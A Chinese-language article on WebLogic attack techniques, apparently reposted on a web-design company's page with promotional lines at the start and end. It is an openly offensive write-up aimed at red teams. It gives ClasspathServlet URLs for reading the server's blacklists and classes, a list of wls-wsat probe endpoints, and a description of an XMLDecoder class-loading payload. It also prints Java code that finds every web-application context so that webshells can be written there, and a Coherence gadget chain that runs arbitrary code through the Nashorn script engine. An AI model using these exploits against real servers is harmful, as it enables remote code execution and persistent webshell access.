weblogic攻擊手法有哪些,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
創(chuàng)新互聯(lián)是一家專業(yè)提供濱湖企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站制作、做網(wǎng)站、H5網(wǎng)站設(shè)計(jì)、小程序制作等業(yè)務(wù)。10年已為濱湖眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。
weblogic服務(wù)器的特點(diǎn)為架構(gòu)龐大復(fù)雜,藍(lán)隊(duì)一般很難防御,且多部署于外網(wǎng)。而且weblogic的攻擊成本比較低,只要存在漏洞,一般可以直接獲取目標(biāo)服務(wù)器的root權(quán)限。在攻防演習(xí)中被各大攻擊隊(duì),防守方重點(diǎn)關(guān)注。
當(dāng)然,目前網(wǎng)上公開的各種exp程序,當(dāng)然也包括我自己的工具,或多或少都有點(diǎn)問題。于是近期在朋友的要求下,整理了部分攻擊方法以及”完美“利用。紅隊(duì)可以用來完善自己的工具,藍(lán)隊(duì)可以用來寫溯源報(bào)告。
目前網(wǎng)上公開的資料中,沒有一種比較好的方法去判斷weblogic是否存在漏洞。通常各類工具做法是用exp打一遍,如果成功了則自然存在漏洞,如果失敗了則不存在漏洞。再或者,通過DNSlog的方式去探測(cè)。這兩種方法受限于各種因素,導(dǎo)致漏報(bào)誤報(bào)的比例很高。還有可能觸發(fā)蜜罐,waf等等安全設(shè)備的規(guī)則。
當(dāng)然在這里我介紹一種更簡(jiǎn)便的方式去查看是否存在漏洞,那就是利用T3 RMI的CODEBASE功能查看weblogic的黑名單 。
codebase: 簡(jiǎn)單說,codebase就是遠(yuǎn)程裝載類的路徑。當(dāng)對(duì)象發(fā)送者序列化對(duì)象時(shí),會(huì)在序列化流中附加上codebase的信息。 這個(gè)信息告訴接收方到什么地方尋找該對(duì)象的執(zhí)行代碼。
那我們是不是可以發(fā)散一下思維,如果這個(gè)類是weblogic的黑名單類呢??而且weblogic的codebase利用http協(xié)議去傳輸類。
利用方法如下,使用你的瀏覽器,確認(rèn)好對(duì)方是weblogic服務(wù)器后,url如下
T3反序列化的黑名單
http://xx:7001/bea_wls_internal/classes/weblogic/utils/io/oif/WebLogicFilterConfig.class
xmldecoder 黑名單
http://192.168.119.130:8088//bea_wls_internal/classes/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class
在weblogic.rjvm.InternalWebAppListener#contextInitialized
處代碼,注冊(cè)處理codebase的代碼,也就是請(qǐng)求路徑為classes
if(!server.isClasspathServletDisabled()) {
servletContext.addServlet("classes", "weblogic.servlet.ClasspathServlet").addMapping(new String[]{"/classes/*"});
}
下面我們來看一下weblogic.servlet.ClasspathServlet的處理代碼,很簡(jiǎn)單,就是讀取類名然后寫入到http響應(yīng)中。
當(dāng)然,這里是不是也存在任意文件讀取漏洞呢?答案是的,只不過有一個(gè)黑名單,禁止某些后綴的文件被讀取。黑名單列表如下
理論上講,你也可以通過CODEBASE去讀取用戶的類下載到本地做代碼分析。前提是你需要知道用戶的類名是什么。當(dāng)然,也有黑名單,黑名單如下
漏洞不做過多介紹,在這里不談該漏洞的成因原理以及分析。
漏洞探測(cè)的url
/wls-wsat/CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11
該漏洞利用的難點(diǎn)我認(rèn)為有如下幾個(gè)方面
1.網(wǎng)上只有回顯代碼,沒有利用代碼,例如內(nèi)存馬
2.寫馬的話,可能會(huì)遇到路徑的問題。wenlogic的路徑為隨機(jī),目前網(wǎng)上公開的解決辦法是爆破。
3.怎么尋找所有的Context?
下面我們來一一解決,以weblogic 10.x的exp為例
xmldecoder的xml payload做了以下的工作
1.調(diào)用weblogic.utils.Hex.fromHexString函數(shù),將hex編碼的class文件轉(zhuǎn)換為二進(jìn)制格式
2.調(diào)用org.mozilla.classfile.DefiningClassLoader的defineClass方法,將上面的class文件加載到虛擬機(jī)中
3.調(diào)用newInstance方法生成上面被添加至JVM的類的實(shí)例
4.調(diào)用實(shí)例的方法以完成攻擊
payload其實(shí)你知道稍微看一下,就知道xmldecoder的寫法,這里就不再贅述
上面所有的問題,其實(shí)都可以歸結(jié)為一個(gè)問題,那就是怎么尋找weblogic下,所有web應(yīng)用的上下文?
在這里我公開一個(gè)方法,該方法在weblogic 10/12下經(jīng)過測(cè)試,且不受協(xié)議影響,也就是說,你只要能在weblogic里執(zhí)行代碼,我就可以獲取weblogic所有的webcontext。 代碼如下
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for(weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set= (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while(iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
returnlist;
利用上面的代碼,獲取到weblogic 加載的所有的web context后,我們可以調(diào)用context.getRootTempDir().getAbsolutePath()
方法去獲取目錄的位置,然后寫入webshell。
我的代碼如下
List contexts = findAllContext();
Iterator i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while(i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\turl %30s\tDocroot %s\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}
returnnew ByteArrayInputStream((sb.toString()).getBytes());
截圖如下
weblogic 12.x 中,沒有org.mozilla.classfile.DefiningClassLoader這個(gè)類,況且我也不太喜歡這種不靈活的方式去寫exp。在這里我換一種方式,那就是通過java調(diào)用js。
從 JDK 1.8 開始,Nashorn取代Rhino(JDK 1.6, JDK1.7) 成為 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 規(guī)范以及一些擴(kuò)展。它使用基于 JSR 292 的新語(yǔ)言特性,其中包含在 JDK 7 中引入的 invokedynamic,將 JavaScript 編譯成 Java 字節(jié)碼。
注意,不支持1.5以及1.5以下的JVM
在java執(zhí)行js時(shí),可以調(diào)用任意java對(duì)象,方法,類。需要注意的是,java是強(qiáng)類型語(yǔ)言,而js是弱類型語(yǔ)言,js有的時(shí)候可能會(huì)代碼意想不到的類型轉(zhuǎn)換。這里需要注意
只需要將上面加載context的代碼,改成js就可以,在這里我貼一張截圖
在nashorn中,默認(rèn)最后一個(gè)變量作為調(diào)用本次js的返回值
在這里我推薦一下r4v3zn老哥的weblogic-framework 利用工具, 。當(dāng)然也有一點(diǎn)點(diǎn)bug,不過這是一款非常好用的工具。工具地址 https://github.com/0nise/weblogic-framework
漏洞探測(cè)的話,參考前面的黑名單下載方式
當(dāng)然,T3反序列化中也有很多坑,例如 cve-2020-2555 等,無法做到類似于CC鏈的任意代碼執(zhí)行,目前同行的大部分做法是上傳一個(gè)jar至tmp目錄或者通過urlclassloader去遠(yuǎn)程加載jar包,部署惡意代碼。
但是我們依舊可以通過反序列化的鏈?zhǔn)綀?zhí)行,調(diào)用nashorn的方式,間接做到任意代碼執(zhí)行。
而我們待執(zhí)行的js,通過反射調(diào)用javaassist包去組裝一個(gè)ClusterMasterRemote類并綁定JNDI實(shí)例以作回顯。js代碼如下
image-20210329124530132
當(dāng)然,corherence gadget處需要修改成如下
private static ChainedExtractor getChainedExtractor() {
returnnew ChainedExtractor(new ReflectionExtractor[]{
new ReflectionExtractor(
"newInstance", new Object[]{}
),
new ReflectionExtractor(
"getEngineByName", new Object[]{"nashorn"}
),
new ReflectionExtractor(
"eval", new Object[]{getJsCode()}
)
});
}
看完上述內(nèi)容,你們掌握weblogic攻擊手法有哪些的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!